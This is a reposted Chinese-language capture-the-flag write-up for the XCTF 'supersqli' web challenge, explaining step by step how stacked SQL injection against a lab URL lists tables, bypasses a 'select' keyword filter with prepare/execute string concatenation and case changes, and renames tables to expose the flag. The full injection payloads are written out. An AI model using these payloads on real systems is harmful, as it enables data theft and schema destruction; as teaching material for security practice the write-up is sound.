XCTF-Web-高手区-supersqli
生活随笔
收集整理的這篇文章主要介紹了
XCTF-Web-高手区-supersqli
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
題目
解題
1、使用常規的SQL注入操作進行注入,我們測試一下單引號
根據返回顯示,我們可以判斷目標源碼中的SQL語句是字符型的,使用單引號閉合
我們本地使用mysql測試如下
2、使用#、--進行測試
發現報錯,直接試試編碼,將#或--替換為%23或--+
3、接下來使用order by判斷字段數
可以發現,存在兩個字段數
4、使用union select判斷哪個位置的字段可以進行注入
發現存在過濾,將我的語句過濾了
5、使用堆疊注入
(1)查看所有數據庫名
(2)查看所有表名
(3)查看1919810931114514和words表中的字段
http://111.200.241.244:58599/?inject=1';show columns from `1919810931114514`;%23注:若字符串為表名,在進行sql語句查詢時要加反引號,這里words可以不加反引號
(4)查詢flag字段的值,但無法使用select
那我們這里有兩種方法進行繞過
0x01:使用預編譯來進行繞過
預編譯語法: set #用于設置變量名和值 prepare #用于預備一個語句,并賦予名稱,后面可以引用該語句 execute #執行語句 deallocate prepare #用于釋放預處理的語句 1';set @xx=concat('se','lect * from `1919810931114514`;');prepare oo from @xx;execute oo;%23拆分開來如下 1';#第一個語句 set @xx=concat('se','lect * from `1919810931114514`;');#設置一個變量xx,其值為想要執行的sql語句,這里使用拼接來繞過對select的過濾 prepare oo from @xx;#設置一個預備語句,也就是xx變量中的語句,并賦予其名稱為oo execute oo;#執行預備語句oo #執行后出現下圖所示
這里顯示,又被strstr過濾了,但strstr不區分大小寫,所以我們可以使用大寫對其函數進行繞過
0x02:修改表與字段
由第三步查看words表中字段時,發現了其中有id和data字段,而我們輸入框中輸入的1時顯示出來的內容和這個正好匹配,所以words這個表中時顯示內容的,因此,我們可以將表1919810931114514的名字改為words,flag字段(也就是列)的名字改為id,那么就能得到flag的內容了
預備知識:
修改表名和列名的語法:(1)修改表名(將表名xx改為oo) alter table xx rename to oo;(2)修改列名(將字段名mm改為nn) alter table oo change mm nn varchar(50);payload:
1';alter table words rename to xx;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);%23 ##分析 1'; #第一條sql語句 alter table words rename to xx;#將words的表名修改為xx alter table `1919810931114514` rename to words;#將1919810931114514的表名修改為words alter table words change flag id varchar(50);#將words中flag的字段名修改為id %23#注釋符##注:由此看出,相當于將1919810931114514表直接改為words表,但他的字段名還是1919810931114514表中的,所以需要將flag修改為id,這樣就可以直接訪問了最終結果
http://111.200.241.244:58599/?inject=1' or 1=1%23
注:我們使用sql-labs本地試驗一下,更好地理解
這是可以看到,users表已經完全不一樣的了,or 1=1也是輸出表中的全部內容
這道題的源碼如下:
有下面的源碼也可以更加容易理解第二種繞過select的方法,還有為什么使用1’ or 1=1#
我們把關鍵sql語句拉出來看
總結
以上是生活随笔為你收集整理的XCTF-Web-高手区-supersqli的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 血腥兔子面具出自哪里 血腥视频按G售卖
- 下一篇: 美颜相机app排行榜